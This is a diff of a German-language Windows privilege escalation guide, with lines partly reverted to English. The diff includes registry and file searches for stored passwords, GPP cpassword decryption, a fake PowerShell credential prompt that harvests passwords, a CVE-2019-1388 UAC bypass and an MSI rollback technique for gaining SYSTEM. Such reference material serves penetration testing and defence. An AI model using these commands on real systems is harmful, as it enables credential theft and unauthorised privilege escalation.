[**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Installer werden mit **SYSTEM privileges** ausgeführt, viele sind anfällig für **DLL Sideloading (Info von** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } @@ -975,26 +972,26 @@ else { Write "Not Installed." } ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -### Putty SSH Host-Schlüssel +### Putty SSH-Hostschlüssel ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` ### SSH-Schlüssel in der Registry -SSH-Private-Keys können im Registry-Schlüssel `HKCU\Software\OpenSSH\Agent\Keys` gespeichert werden, daher solltest du prüfen, ob dort etwas Interessantes zu finden ist: +Private SSH-Schlüssel können im Registry-Schlüssel `HKCU\Software\OpenSSH\Agent\Keys` gespeichert werden, daher solltest du prüfen, ob sich dort etwas Interessantes befindet: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Wenn Sie einen Eintrag in diesem Pfad finden, handelt es sich wahrscheinlich um einen gespeicherten SSH-Schlüssel. Er ist verschlüsselt gespeichert, kann aber leicht mit [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) entschlüsselt werden.\ -Weitere Informationen zu dieser Technik finden Sie hier: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +Wenn du einen Eintrag in diesem Pfad findest, handelt es sich wahrscheinlich um einen gespeicherten SSH-Schlüssel. Er ist verschlüsselt gespeichert, kann aber leicht mit [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) entschlüsselt werden.\ +Mehr Informationen zu dieser Technik hier: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Wenn der `ssh-agent`-Dienst nicht läuft und Sie möchten, dass er beim Booten automatisch startet, führen Sie aus: +Wenn der `ssh-agent`-Dienst nicht läuft und du möchtest, dass er beim Booten automatisch startet, führe aus: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Es sieht so aus, als wäre diese Technik nicht mehr gültig. Ich habe versucht, einige ssh-Schlüssel zu erstellen, sie mit `ssh-add` hinzuzufügen und mich per ssh auf einer Maschine anzumelden. Der Registrierungspfad HKCU\Software\OpenSSH\Agent\Keys existiert nicht, und procmon hat während der asymmetrischen Schlüsselauthentifizierung nicht festgestellt, dass `dpapi.dll` verwendet wurde. - +> Es scheint, dass diese Technik nicht mehr funktioniert. Ich habe versucht, einige ssh keys zu erstellen, sie mit `ssh-add` hinzuzufügen und mich per ssh an einer Maschine anzumelden. Der Registry-Schlüssel HKCU\Software\OpenSSH\Agent\Keys existiert nicht und procmon hat während der asymmetrischen Schlüssel-Authentifizierung keine Verwendung von `dpapi.dll` festgestellt. + ### Unbeaufsichtigte Dateien ``` C:\Windows\sysprep\sysprep.xml @@ -1010,7 +1007,7 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -Sie können diese Dateien auch mit **metasploit** suchen: _post/windows/gather/enum_unattend_ +Sie können diese Dateien auch mit **metasploit** durchsuchen: _post/windows/gather/enum_unattend_ Beispielinhalt: ```xml @@ -1031,7 +1028,7 @@ Beispielinhalt: ``` -### SAM- und SYSTEM-Sicherungen +### SAM & SYSTEM-Sicherungen ```bash # Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM @@ -1053,15 +1050,15 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -Suche nach einer Datei namens **SiteList.xml** +Suche nach einer Datei mit dem Namen **SiteList.xml** ### Zwischengespeichertes GPP-Passwort -Es gab früher eine Funktion, die die Bereitstellung benutzerdefinierter lokaler Administrator-Konten auf einer Gruppe von Rechnern über Group Policy Preferences (GPP) ermöglichte. Diese Methode wies jedoch erhebliche Sicherheitsmängel auf. Erstens konnten die Group Policy Objects (GPOs), die als XML-Dateien in SYSVOL gespeichert sind, von jedem Domänenbenutzer eingesehen werden. Zweitens konnten die Passwörter in diesen GPPs, die mit AES256 unter Verwendung eines öffentlich dokumentierten Standard-Schlüssels verschlüsselt sind, von jedem authentifizierten Benutzer entschlüsselt werden. Dies stellte ein ernstes Risiko dar, da dadurch Benutzern erhöhte Privilegien ermöglicht werden konnten. +Früher gab es eine Funktion, mit der benutzerdefinierte lokale Administratorenkonten über Group Policy Preferences (GPP) auf einer Gruppe von Rechnern bereitgestellt werden konnten. Diese Methode wies jedoch erhebliche Sicherheitsmängel auf. Erstens konnten die Group Policy Objects (GPOs), die als XML-Dateien in SYSVOL gespeichert sind, von jedem Domänenbenutzer eingesehen werden. Zweitens konnten die in diesen GPPs enthaltenen Passwörter, die mit AES256 unter Verwendung eines öffentlich dokumentierten Standard-Schlüssels verschlüsselt sind, von jedem authentifizierten Benutzer entschlüsselt werden. Das stellte ein ernstes Risiko dar, da dadurch Benutzern erhöhte Rechte ermöglicht werden konnten. -Um dieses Risiko zu mindern, wurde eine Funktion entwickelt, die lokal zwischengespeicherte GPP-Dateien nach einem nicht-leeren "cpassword"-Feld durchsucht. Wenn eine solche Datei gefunden wird, entschlüsselt die Funktion das Passwort und gibt ein benutzerdefiniertes PowerShell-Objekt zurück. Dieses Objekt enthält Details über das GPP und den Speicherort der Datei, was bei der Identifikation und Behebung dieser Sicherheitslücke hilft. +Um dieses Risiko zu mindern, wurde eine Funktion entwickelt, die nach lokal zwischengespeicherten GPP-Dateien sucht, die ein nicht-leeres "cpassword"-Feld enthalten. Beim Finden einer solchen Datei entschlüsselt die Funktion das Passwort und gibt ein benutzerdefiniertes PowerShell-Objekt zurück. Dieses Objekt enthält Details zur GPP und zum Speicherort der Datei und unterstützt so bei der Identifizierung und Behebung dieser Sicherheitslücke. -Suche in `C:\ProgramData\Microsoft\Group Policy\history` oder in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (vor Windows Vista)_ nach diesen Dateien: +Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: - Groups.xml - Services.xml @@ -1070,12 +1067,12 @@ Suche in `C:\ProgramData\Microsoft\Group Policy\history` oder in _**C:\Documents - Printers.xml - Drives.xml -**Um das cPassword zu entschlüsseln:** +**To decrypt the cPassword:** ```bash #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` -crackmapexec verwenden, um die Passwörter zu erhalten: +Mit crackmapexec Passwörter abrufen: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` @@ -1131,9 +1128,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### Nach credentials fragen +### Um credentials bitten -Du kannst immer **den user auffordern, seine credentials oder sogar die credentials eines anderen user einzugeben**, wenn du denkst, dass er sie kennen könnte (beachte, dass **das Bitten**, den client direkt um die **credentials** zu fragen, wirklich **riskant** ist): +Du kannst den Benutzer immer **darum bitten, seine credentials oder sogar die credentials eines anderen Benutzers einzugeben**, wenn du denkst, dass er sie kennen könnte (beachte, dass das direkte **Bitten** des Clients um die **credentials** wirklich **riskant** ist): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1141,9 +1138,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **Mögliche Dateinamen, die credentials enthalten** +### **Mögliche Dateinamen containing credentials** -Bekannte Dateien, die vor einiger Zeit **passwords** in **clear-text** oder **Base64** enthielten +Bekannte Dateien, die vor einiger Zeit **passwords** im **clear-text** oder als **Base64** enthielten. ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1216,15 +1213,15 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### Credentials in the RecycleBin +### Zugangsdaten im Papierkorb -Sie sollten auch den RecycleBin überprüfen, um dort nach credentials zu suchen +Überprüfe auch den Papierkorb, um darin nach Zugangsdaten zu suchen. -Um **recover passwords** zu finden, die von mehreren Programmen gespeichert wurden, können Sie verwenden: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +Um **Passwörter wiederherzustellen**, die von verschiedenen Programmen gespeichert wurden, kannst du Folgendes verwenden: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) ### In der Registry -**Weitere mögliche Registry-Schlüssel mit credentials** +**Weitere mögliche Registry-Schlüssel mit Zugangsdaten** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s @@ -1235,8 +1232,8 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### Browser-Verlauf -Du solltest nach dbs suchen, in denen Passwörter von **Chrome oder Firefox** gespeichert sind.\ -Prüfe auch den Verlauf, Lesezeichen und Favoriten der Browser, da dort möglicherweise einige **Passwörter** gespeichert sind. +Sie sollten nach DBs suchen, in denen Passwörter von **Chrome oder Firefox** gespeichert sind.\ +Prüfen Sie auch den Verlauf, die Lesezeichen und Favoriten der Browser — möglicherweise sind dort **Passwörter** gespeichert. Tools zum Extrahieren von Passwörtern aus Browsern: @@ -1247,18 +1244,17 @@ Tools zum Extrahieren von Passwörtern aus Browsern: ### **COM DLL Overwriting** -**Component Object Model (COM)** ist eine im Windows-Betriebssystem integrierte Technologie, die die **intercommunication** zwischen Softwarekomponenten verschiedener Sprachen ermöglicht. Jede COM-Komponente ist **identified via a class ID (CLSID)** und jede Komponente stellt Funktionalität über eine oder mehrere Schnittstellen bereit, die durch **interface IDs (IIDs)** identifiziert werden. +Component Object Model (COM) ist eine im Windows-Betriebssystem integrierte Technologie, die die Interkommunikation zwischen Softwarekomponenten in verschiedenen Sprachen ermöglicht. Jede COM-Komponente wird über eine class ID (CLSID) identifiziert und jede Komponente stellt Funktionalität über eine oder mehrere Schnittstellen bereit, die durch interface IDs (IIDs) identifiziert werden. -COM classes and interfaces are defined in the registry under **HKEY\CLASSES\ROOT\CLSID** and **HKEY\CLASSES\ROOT\Interface** respectively. This registry is created by merging the **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** +COM-Klassen und -Schnittstellen sind in der Registry unter **HKEY\CLASSES\ROOT\CLSID** bzw. **HKEY\CLASSES\ROOT\Interface** definiert. Diese Registry entsteht durch das Zusammenführen von **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral). +Innerhalb der CLSIDs dieser Registry findet man den Unterschlüssel **InProcServer32**, der einen **default value** enthält, der auf eine **DLL** zeigt, sowie einen Wert namens **ThreadingModel**, der **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) oder **Neutral** (Thread Neutral) sein kann. ![](<../../images/image (729).png>) -Basically, if you can **overwrite any of the DLLs** that are going to be executed, you could **escalate privileges** if that DLL is going to be executed by a different user. - -To learn how attackers use COM Hijacking as a persistence mechanism check: +Grundsätzlich: Wenn Sie **overwrite any of the DLLs**, die ausgeführt werden, können, könnten Sie dadurch **escalate privileges**, falls diese DLL von einem anderen Benutzer ausgeführt wird. +Um zu lernen, wie Angreifer COM Hijacking als Persistenzmechanismus nutzen, siehe: {{#ref}} com-hijacking.md @@ -1266,7 +1262,7 @@ com-hijacking.md ### **Generische Passwortsuche in Dateien und der Registry** -**Suche nach Dateiinhalten** +**Search for file contents** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config @@ -1278,20 +1274,20 @@ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**Suche in der Registry nach Schlüsselnamen und Passwörtern** +**Durchsuche die Registry nach Schlüsselnamen und Passwörtern** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### Tools, die nach Passwörtern suchen +### Tools, die nach passwords suchen -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **ist ein msf**-Plugin. Ich habe dieses Plugin erstellt, um **automatisch jedes metasploit POST-Modul auszuführen, das nach Zugangsdaten** im Opfer sucht.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sucht automatisch nach allen Dateien, die Passwörter enthalten, wie auf dieser Seite erwähnt.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) ist ein weiteres großartiges Tool, um Passwörter aus einem System zu extrahieren. +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **ist ein msf** plugin. Ich habe dieses Plugin erstellt, um **automatically execute every metasploit POST module that searches for credentials** auf dem Zielsystem auszuführen.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) durchsucht automatisch alle Dateien, die passwords enthalten, die auf dieser Seite erwähnt werden.\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) ist ein weiteres großartiges Tool, um passwords aus einem System zu extrahieren. -Das Tool [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) durchsucht **Sessions**, **Benutzernamen** und **Passwörter** mehrerer Tools, die diese Daten im Klartext speichern (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) +Das Tool [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) durchsucht nach **sessions**, **usernames** und **passwords** mehrerer Tools, die diese Daten im Klartext speichern (PuTTY, WinSCP, FileZilla, SuperPuTTY und RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1300,30 +1296,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Stellen Sie sich vor, dass **ein Prozess, der als SYSTEM läuft, einen neuen Prozess öffnet** (`OpenProcess()`) mit **vollständigem Zugriff**. Derselbe Prozess **erstellt außerdem einen neuen Prozess** (`CreateProcess()`) **mit niedrigen Rechten, der jedoch alle offenen Handles des Hauptprozesses erbt**.\ -Wenn Sie dann **vollständigen Zugriff auf den niedrig privilegierten Prozess** haben, können Sie das **offene Handle zum privilegierten Prozess, das mit `OpenProcess()` erstellt wurde, greifen** und **shellcode injizieren**.\ -[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ -[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ +Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\ +[Siehe dieses Beispiel für mehr Informationen darüber, **wie man diese Schwachstelle erkennt und ausnutzt**.](leaked-handle-exploitation.md)\ +[Lies diesen **weiteren Beitrag für eine ausführlichere Erklärung, wie man mehr offene Handler von Prozessen und Threads testet und missbraucht, die mit unterschiedlichen Berechtigungsstufen vererbt werden (nicht nur voller Zugriff)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -Gemeinsam genutzte Speicherbereiche, sogenannte **pipes**, ermöglichen Prozesskommunikation und Datenaustausch. +Shared memory segments, referred to as **pipes**, enable process communication and data transfer. -Windows bietet eine Funktion namens **Named Pipes**, die es nicht zusammenhängenden Prozessen erlaubt, Daten auszutauschen, sogar über verschiedene Netzwerke. Das ähnelt einer Client/Server-Architektur, mit den Rollen **named pipe server** und **named pipe client**. +Windows provides a feature called **Named Pipes**, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as **named pipe server** and **named pipe client**. -Wenn Daten von einem **client** durch eine Pipe gesendet werden, kann der **server**, der die Pipe eingerichtet hat, die **Identität** des **client** übernehmen, vorausgesetzt er verfügt über die notwendigen **SeImpersonate**-Rechte. Das Identifizieren eines **privilegierten Prozesses**, der über eine Pipe kommuniziert, die Sie nachahmen können, bietet die Möglichkeit, **höhere Privilegien zu erlangen**, indem Sie die Identität dieses Prozesses annehmen, sobald er mit der von Ihnen eingerichteten Pipe interagiert. Anleitungen zur Durchführung eines solchen Angriffs finden Sie [**hier**](named-pipe-client-impersonation.md) und [**hier**](#from-high-integrity-to-system). +When data is sent through a pipe by a **client**, the **server** that set up the pipe has the ability to **take on the identity** of the **client**, assuming it has the necessary **SeImpersonate** rights. Identifying a **privileged process** that communicates via a pipe you can mimic provides an opportunity to **gain higher privileges** by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found [**here**](named-pipe-client-impersonation.md) and [**here**](#from-high-integrity-to-system). -Außerdem erlaubt das folgende Tool, **eine named pipe-Kommunikation mit einem Tool wie burp abzufangen:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **und dieses Tool ermöglicht es, alle Pipes aufzulisten und anzusehen, um privescs zu finden** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Außerdem ermöglicht das folgende Tool, eine named pipe-Kommunikation mit einem Tool wie burp abzufangen: [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) und dieses Tool erlaubt es, alle Pipes aufzulisten und anzusehen, um privescs zu finden: [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Sonstiges +## Verschiedenes -### Dateiendungen, die in Windows Code ausführen können +### Dateierweiterungen, die in Windows Code ausführen können -Siehe die Seite **[https://filesec.io/](https://filesec.io/)** +Sieh dir die Seite **[https://filesec.io/](https://filesec.io/)** -### **Überwachung von Befehlszeilen auf Passwörter** +### **Überwachung von Kommandozeilen auf Passwörter** -Wenn man eine Shell als Benutzer erhält, können geplante Tasks oder andere Prozesse ausgeführt werden, die **Zugangsdaten in der Befehlszeile übergeben**. Das untenstehende Skript erfasst die Befehlszeilen von Prozessen alle zwei Sekunden und vergleicht den aktuellen Zustand mit dem vorherigen, wobei es Unterschiede ausgibt. +When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences. ```bash while($true) { @@ -1335,11 +1331,11 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2 ``` ## Passwörter aus Prozessen stehlen -## Vom Low Priv User zu NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass +## Von Low Priv User zu NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -Wenn Sie Zugriff auf die grafische Oberfläche (via console oder RDP) haben und UAC aktiviert ist, ist es in einigen Versionen von Microsoft Windows möglich, ein terminal oder einen anderen Prozess wie "NT\AUTHORITY SYSTEM" aus einem unprivilegierten Benutzer heraus zu starten. +Wenn du Zugriff auf die grafische Oberfläche (via console oder RDP) hast und UAC aktiviert ist, ist es in einigen Versionen von Microsoft Windows möglich, ein Terminal oder einen beliebigen anderen Prozess wie "NT\AUTHORITY SYSTEM" aus einem unprivilegierten Benutzerkonto zu starten. -Dies macht es möglich, Privilegien zu eskalieren und UAC gleichzeitig mit derselben Schwachstelle zu umgehen. Zusätzlich ist es nicht nötig, etwas zu installieren, und die während des Prozesses verwendete Binärdatei ist von Microsoft signiert und ausgestellt. +Das ermöglicht es, Privilegien zu eskalieren und UAC gleichzeitig mit derselben Schwachstelle zu umgehen. Zusätzlich ist es nicht notwendig, etwas zu installieren, und die während des Prozesses verwendete Binärdatei ist von Microsoft signiert und ausgestellt. Einige der betroffenen Systeme sind die folgenden: ``` @@ -1363,7 +1359,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -Um diese vulnerability auszunutzen, sind die folgenden Schritte erforderlich: +Um diese Schwachstelle auszunutzen, sind die folgenden Schritte erforderlich: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1385,16 +1381,16 @@ You have all the necessary files and information in the following GitHub reposit https://github.com/jas502n/CVE-2019-1388 -## From Administrator Medium to High Integrity Level / UAC Bypass +## Vom Administrator (Medium) zum High-Integritätslevel / UAC Bypass -Lies dies, um mehr über Integritätsstufen zu erfahren: +Lese dies, um etwas über Integritätsstufen zu lernen: {{#ref}} integrity-levels.md {{#endref}} -Lies dann **dies, um mehr über UAC und UAC-Bypässe** zu erfahren: +Lese dann dies, um etwas über UAC und UAC-Bypässe zu erfahren: {{#ref}} @@ -1403,92 +1399,94 @@ Lies dann **dies, um mehr über UAC und UAC-Bypässe** zu erfahren: ## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP -Die in diesem [**Blogpost**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) beschriebene Technik mit einem Exploit-Code [**hier verfügbar**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -Der Angriff besteht im Wesentlichen darin, die Rollback-Funktion des Windows Installer zu missbrauchen, um legitime Dateien während des Deinstallationsprozesses durch bösartige zu ersetzen. Dazu muss der Angreifer einen **bösartigen MSI-Installer** erstellen, der verwendet wird, um den `C:\Config.Msi`-Ordner zu hijacken. Dieser Ordner wird später vom Windows Installer verwendet, um Rollback-Dateien während der Deinstallation anderer MSI-Pakete zu speichern — wobei die Rollback-Dateien so verändert werden, dass sie die bösartige Nutzlast enthalten. +Der Angriff besteht im Wesentlichen darin, die Rollback-Funktion des Windows Installer auszunutzen, um während des Deinstallationsprozesses legitime Dateien durch bösartige zu ersetzen. Dazu muss der Angreifer ein **malicious MSI installer** erstellen, das verwendet wird, um den Ordner `C:\Config.Msi` zu kapern. Dieser Ordner wird später vom Windows Installer verwendet, um Rollback-Dateien während der Deinstallation anderer MSI-Pakete zu speichern; die Rollback-Dateien werden so geändert, dass sie die bösartige Nutzlast enthalten. Die zusammengefasste Technik ist wie folgt: -1. **Stage 1 – Vorbereitung für das Hijack (lass `C:\Config.Msi` leer)** +1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** -- Schritt 1: Installiere das MSI - - Erstelle ein `.msi`, das eine harmlose Datei (z. B. `dummy.txt`) in einem beschreibbaren Ordner (`TARGETDIR`) installiert. - - Markiere den Installer als **"UAC Compliant"**, sodass ein **Nicht-Admin-Benutzer** ihn ausführen kann. - - Halte einen **Handle** auf die Datei nach der Installation offen. +- Step 1: Install the MSI +- Erstelle ein `.msi`, das eine harmlose Datei (z. B. `dummy.txt`) in einem beschreibbaren Ordner (`TARGETDIR`) installiert. +- Markiere den Installer als **"UAC Compliant"**, sodass ein **non-admin user** ihn ausführen kann. +- Halte nach der Installation einen **Handle** auf die Datei offen. -- Schritt 2: Beginne die Deinstallation - - Deinstalliere dasselbe `.msi`. - - Der Deinstallationsprozess beginnt, Dateien nach `C:\Config.Msi` zu verschieben und sie in `.rbf`-Dateien (Rollback-Backups) umzubenennen. - - **Überwache den offenen Datei-Handle** mit `GetFinalPathNameByHandle`, um zu erkennen, wann die Datei zu `C:\Config.Msi\.rbf` wird. +- Step 2: Begin Uninstall +- Deinstalliere dasselbe `.msi`. +- Der Deinstallationsprozess beginnt, Dateien nach `C:\Config.Msi` zu verschieben und sie in `.rbf`-Dateien (Rollback-Backups) umzubenennen. +- **Poll the open file handle** mithilfe von `GetFinalPathNameByHandle`, um zu erkennen, wann die Datei zu `C:\Config.Msi\.rbf` wird. -- Schritt 3: Benutzerdefinierte Synchronisation - - Das `.msi` enthält eine **benutzerdefinierte Deinstallationsaktion (`SyncOnRbfWritten`)**, die: - - signalisiert, wenn `.rbf` geschrieben wurde, - - und dann auf ein anderes Event wartet, bevor die Deinstallation fortgesetzt wird. +- Step 3: Custom Syncing +- Das `.msi` enthält eine **custom uninstall action (`SyncOnRbfWritten`)**, die: +- signalisiert, wenn `.rbf` geschrieben wurde, +- und dann auf ein anderes Event wartet, bevor die Deinstallation fortfährt. -- Schritt 4: Löschen der `.rbf` blockieren - - Wenn signalisiert, **öffne die `.rbf`-Datei** ohne `FILE_SHARE_DELETE` — das **verhindert, dass sie gelöscht wird**. - - Dann **signalisiere zurück**, sodass die Deinstallation beendet werden kann. - - Der Windows Installer kann die `.rbf` nicht löschen, und da nicht alle Inhalte gelöscht werden können, **wird `C:\Config.Msi` nicht entfernt**. +- Step 4: Block Deletion of `.rbf` +- Sobald signalisiert wurde, **öffne die `.rbf`-Datei** ohne `FILE_SHARE_DELETE` — das **verhindert, dass sie gelöscht wird**. +- Dann **signal back**, sodass die Deinstallation abgeschlossen werden kann. +- Der Windows Installer kann die `.rbf` nicht löschen, und da er nicht alle Inhalte entfernen kann, wird **`C:\Config.Msi` nicht entfernt**. -- Schritt 5: `.rbf` manuell löschen - - Du (Angreifer) löschst die `.rbf`-Datei manuell. - - Jetzt ist **`C:\Config.Msi` leer** und bereit zum Hijacken. +- Step 5: Manually Delete `.rbf` +- Du (der Angreifer) löschst die `.rbf`-Datei manuell. +- Nun ist **`C:\Config.Msi` leer** und bereit, gehijacked zu werden. -> An diesem Punkt, trigger die SYSTEM-level arbitrary folder delete vulnerability, um `C:\Config.Msi` zu löschen. +> At this point, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`. -2. **Stage 2 – Ersetzen von Rollback-Skripten durch bösartige** +2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** -- Schritt 6: `C:\Config.Msi` mit schwachen ACLs neu erstellen - - Erstelle den Ordner `C:\Config.Msi` selbst neu. - - Setze **schwache DACLs** (z. B. Everyone:F) und **halte einen Handle** mit `WRITE_DAC` offen. +- Step 6: Recreate `C:\Config.Msi` with Weak ACLs +- Erstelle den Ordner `C:\Config.Msi` selbst neu. +- Setze **schwache DACLs** (z. B. Everyone:F), und **halte einen Handle mit `WRITE_DAC`** offen. -- Schritt 7: Führe eine weitere Installation aus - - Installiere das `.msi` erneut mit: - - `TARGETDIR`: beschreibbarer Ort, - - `ERROROUT`: eine Variable, die einen erzwungenen Fehler auslöst. - - Diese Installation wird verwendet, um erneut einen **Rollback** auszulösen, der `.rbs` und `.rbf` liest. +- Step 7: Run Another Install +- Installiere das `.msi` erneut, mit: +- `TARGETDIR`: beschreibbarer Ort. +- `ERROROUT`: Eine Variable, die einen erzwungenen Fehler auslöst. +- Diese Installation wird erneut verwendet, um den **rollback** auszulösen, der `.rbs` und `.rbf` liest. -- Schritt 8: Auf `.rbs` überwachen - - Verwende `ReadDirectoryChangesW`, um `C:\Config.Msi` zu überwachen, bis eine neue `.rbs` erscheint. - - Erfasse ihren Dateinamen. +- Step 8: Monitor for `.rbs` +- Verwende `ReadDirectoryChangesW`, um `C:\Config.Msi` zu überwachen, bis eine neue `.rbs` erscheint. +- Erfasse deren Dateinamen. -- Schritt 9: Synchronisation vor dem Rollback - - Das `.msi` enthält eine **benutzerdefinierte Installationsaktion (`SyncBeforeRollback`)**, die: - - ein Event signalisiert, wenn die `.rbs` erstellt wurde, - - und dann wartet, bevor sie fortfährt. +- Step 9: Sync Before Rollback +- Das `.msi` enthält eine **custom install action (`SyncBeforeRollback`)**, die: +- ein Event signalisiert, wenn die `.rbs` erstellt wurde, +- und dann wartet, bevor sie fortfährt. -- Schritt 10: Schwache ACL erneut anwenden - - Nachdem du das `\.rbs created`-Event erhalten hast: - - Der Windows Installer **wendet starke ACLs** auf `C:\Config.Msi` an. - - Aber da du noch einen Handle mit `WRITE_DAC` offen hast, kannst du die **schwachen ACLs erneut setzen**. - - ACLs werden **nur beim Öffnen eines Handles** durchgesetzt, also kannst du weiterhin in den Ordner schreiben. +- Step 10: 